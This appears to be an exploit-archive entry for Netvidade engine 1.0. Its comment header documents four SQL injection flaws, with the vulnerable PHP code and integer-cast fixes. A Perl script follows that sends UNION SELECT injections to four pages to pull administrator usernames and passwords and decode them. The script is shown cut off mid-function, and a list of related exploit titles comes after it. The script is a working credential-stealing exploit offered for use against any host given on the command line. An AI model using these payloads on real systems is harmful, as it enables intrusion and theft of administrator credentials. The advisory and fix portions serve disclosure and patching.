Netvidade engine 1.0 – Multiple Vulnerabilities

#!/usr/bin/perl -w

use strict;

use LWP::UserAgent;

use Getopt::Long;

use MIME::Base64;

# \#'#/

# (-.-)

# ----------------------oOO---(_)---OOo----------------------

# | __ __ |

# | _____/ /_____ ______/ /_ __ ______ ______ |

# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |

# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |

# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |

# | Security Research Division /____/ 2o1o |

# -----------------------------------------------------------

# | Netvidade engine v1.0 Multiple Vulnerabilities |

# -----------------------------------------------------------

# [!] Discovered by.: pwndomina

# [!] Vendor........: http://www.netvidade.com

# [!] Detected......: 15.04.2010

# [!] Reported......: 06.05.2010

# [!] Response......: xx.xx.2010

#

# [!] Bug...........: $_GET['id'] in webtemplate-categoria.php near line 6

#

# 3: if ($_GET['id']==0)

# 4: $lista_webtemp=$netvidade->lista_webtemp();

# 5: else

# 6: $lista_webtemp=$netvidade->lista_webtemp_categoria($_GET['id']);

#

# The function lista_webtemp_categoria() is in class/var/netvidade.class.php near line 212

#

# 212: function lista_webtemp_categoria($id)

# 213: {

# 214: $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=$id";

# 215: $a=$this->CORE->db();

# 216: $res=$a->abrecursor($query);

# 217: return $res;

# 218: }

#

# [!] Bug...........: $_GET['id'] in concorrer.php near line 2

#

# 2: $lista_proposta=$recrutamento->lista_proposta($_GET['id']);

#

# The function lista_proposta() is in class/var/recrutamento.class.php near line 42

#

# 42: function lista_proposta($id)

# 43: {

# 44: $query="select * from recrutamento_propostas where id=$id";

# 45: $a=$this->CORE->db();

# 46: $res=$a->abrecursor($query);

# 47: return $res;

# 48: }

#

# [!] Bug...........: $_GET[id] in detalhe.php near line 6

#

# 6: $noticias=$a->lista_noticia_detalhe($_GET[id]);

#

# The function lista_noticia_detalhe() is in class/var/noticias.class.php near line 208

#

# 208: function lista_noticia_detalhe($id)

# 209: {

# 210: $query="

# 211: select a.*,b.id as categoria_id, b.titulo as categoria_nome, c.nome as autor_nome

# 212: from noticias a, noticias_categorias b, administradores c

# 213: where a.categoria=b.id and a.id=$id and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)

# 214: ";

# 215:

# 216: $a=$this->CORE->db();

# 217: $res=$a->abrecursor($query);

# 218: return $res;

# 219: }

#

# [!] Bug...........: $_GET[id] in newsletter_preview.php near line 6

#

# 6: $dados=$a->lista_newsletter($_GET[id]);

#

# The function lista_newsletter() is in class/var/newsletter.class.php near line 113

#

# 113: function lista_newsletter($id)

# 114: {

# 115: $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=$id";

# 116: $a=$this->CORE->db();

# 117: $res=$a->abrecursor($query);

# 118: return $res;

# 119: }

#

# [!] Quick fix.....: in class/var/netvidade.class.php line 214

#

# - replace:

# $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=$id";

#

# - with:

# $query="select a.*,b.id as categoria_id, b.titulo as categoria_nome from webtemplate a, webtemplate_categorias b where a.categoria=b.id AND a.categoria=".(int)$id;

#

# [!] Quick fix.....: in class/var/recrutamento.class.php line 44

#

# - replace:

# $query="select * from recrutamento_propostas where id=$id";

#

# - with:

# $query="select * from recrutamento_propostas where id=".(int)$id;

#

# [!] Quick fix.....: in class/var/noticias.class.php line 213

#

# - replace:

# where a.categoria=b.id and a.id=$id and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)

#

# - with:

# where a.categoria=b.id and a.id=".(int)$id." and a.autor=c.id and a.data_online <= NOW() and if(a.data_offline != '0000-00-00',a.data_offline > NOW(),1)

#

# [!] Quick fix.....: in class/var/newsletter.class.php line 115

#

# - replace:

# $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=$id";

#

# - with:

# $query="select a.*,b.nome,c.corpo from newsletter a LEFT JOIN newsletter_corpo c ON a.id=c.id, newsletter_templates b where a.template=b.id and a.id=".(int)$id;

#

# [!] Greetings.....: cih.ms and phact.in

#

if(!$ARGV[3])

{

print "\n \\#'#/ ";

print "\n (-.-) ";

print "\n ---------------------oOO---(_)---OOo----------------------";

print "\n | Netvidade engine v1.0 Multiple Vulnerabilities Exploit |";

print "\n | discovered by pwndomina |";

print "\n | coded by DNX |";

print "\n ----------------------------------------------------------";

print "\n[!] Usage: perl netvidade.pl [Host] [Path] [Target] <Options>";

print "\n[!] Example: perl netvidade.pl www.host.com /path/ -t 3 -u 1";

print "\n[!] Targets:";

print "\n -t 1 webtemplate-categoria.php";

print "\n -t 2 concorrer.php";

print "\n -t 3 detalhe.php";

print "\n -t 4 newsletter_preview.php";

print "\n[!] Options:";

print "\n -u [no] User-Id";

print "\n -p [ip:port] Proxy support";

print "\n[!] Notes:";

print "\n For the targets 2, 3 & 4 you can use -u option.";

print "\n";

exit;

}

my %options = ();

GetOptions(\%options, "t=i", "u=i", "p=s");

my $ua = LWP::UserAgent->new();

my $host = $ARGV[0];

my $path = $ARGV[1];

my $target = "http://".$host.$path;

my $userid = "";

if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); }

if($options{"u"}) { $userid = "+where+id=".$options{"u"}; }

print "[!] Exploiting...\n\n";

if($options{"t"} == 1) { exploit1(); }

elsif($options{"t"} == 2) { exploit2(); }

elsif($options{"t"} == 3) { exploit3(); }

elsif($options{"t"} == 4) { exploit4(); }

print "\n[!] Exploit done\n";

sub exploit1

{

my $url = "http://".$host.$path."webtemplate-categoria.php?id=-1337+union+select+1,2,concat(0x23,0x23,username,0x23,password,0x23,0x23),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+administradores";

my $res = $ua->get($url);

check($res);

}

sub exploit2

{

my $url = "http://".$host.$path."concorrer.php?id=-1337+union+select+1,concat(0x23,0x23,username,0x23,password,0x23,0x23),3,4,5,6,7,8,9,10+from+administradores".$userid;

my $res = $ua->get($url);

check($res);

}

sub exploit3

{

my $url = "http://".$host.$path."detalhe.php?id=-1337+union+select+1,2,3,concat(0x23,0x23,username,0x23,password,0x23,0x23),5,6,7,8,9,10,11,12,13,14+from+administradores".$userid."/*";

my $res = $ua->get($url);

check($res);

}

sub exploit4

{

my $url = "http://".$host.$path."newsletter_preview.php?id=-1337+union+select+1,concat(0x23,0x23,username,0x23,password,0x23,0x23),3,4,5,6+from+administradores".$userid;

my $res = $ua->get($url);

check($res);

}

sub check

{

my $res = shift;

my $content = $res->content;

my @c = split(/\n/, $content);

foreach (@c)

{

if($_ =~ /##(.*?)#(.*?)##/)

{

print $1.":".decode_base64($2)."\n";

}

相关漏洞条目

MikroORM 7.0.13 – SQL Injection

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

Langflow 1.3.0 – Remote Code Execution

Prodigy Commerce 3.3.0 – Local File Inclusion